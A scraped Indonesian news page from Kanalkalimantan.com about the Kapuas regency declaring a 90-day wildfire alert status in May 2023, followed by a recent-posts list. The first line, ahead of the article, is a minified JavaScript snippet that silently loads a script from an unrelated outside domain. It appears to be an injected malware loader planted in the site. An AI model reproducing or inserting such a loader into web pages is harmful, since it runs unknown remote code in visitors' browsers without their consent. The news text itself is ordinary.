(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

BPBD Kapuas Tetapkan Status Siaga Darurat Bencana Karhutla


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menetapkan status siaga darurat bencana kebakaran hutan dan lahan (karhutla) selama 90 hari ke depan.

“Penetapan mulai dari tanggal 17 Mei 2023 sampai dengan 14 Agustus 2023 atau 90 hari berdasarkan Peraturan Menteri KLHK Nomor P.9/MENLHK/SETJEN/KUM/.1/3/2018,” kata Kepala Pelaksana (Kalak) BPBD Kabupaten Kapuas Panahatan Sinaga, Jumat (19/5/2023).

Menurut Kalak BPBD Kapuas, pihaknya telah melaksanakan rapat dilakukan menyikapi kondisi cuaca saat ini di Kabupaten Kapuas yang sudah mulai mengarah ke fenomena el nino yang mengakibatkan berkurangnya curah hujan, khususnya di daerah Kapuas.

“Menyikapi hal itu, maka Pemkab Kapuas melalui BPBD menyepakati beberapa hal untuk pencegahan Karhutla tersebut,” kata Panahatan Sinaga.

Baca juga: Hasanuddin Murad Dikebumikan di Taman Bahagia, Di Rumah Sakit Sejak Bulan Puasa

Langkah selanjutnya, pihaknya akan melaksanakan rapat koordinasi pencegahan karhutla yang melibatkan lintas sektor dan Organisasi Perangkat Daerah (OPD) terkait, apel gelar pasukan dan peralatan kesiapan menghadapi karhutla.

“Juga membuat surat edaran ke camat, lurah, kepala desa dan Perusahaan Besar Swasta (PBS), terkait pencegahan karhutla di Kabupaten Kapuas,” katanya.

Kemudian, lanjutnya, melaksanakan sosialisasi pencegahan karhutla dan pemasangan spanduk di titik-titik rawan terjadi Karhutla.

“Serta mengaktifkan pos lapangan di kecamatan yang rawan terjadi Karhutla di Kabupaten Kapuas,” sebutnya.

Masyarakat di Kabupaten Kapuas diingatkan untuk tidak menggarap atau membersihkan lahan dengan cara membakar secara sembarangan.

“Jangan membuang puntung rokok secara sembarangan, karena dapat menimbulkan kebakaran. Sebab dalam cuaca saat ini, daun yang kering sangat cepat dan mudah terbakar,” ingat Panahatan. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

29 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

43 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

52 menit ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

1 jam ago

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

4 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

5 jam ago

This website uses cookies.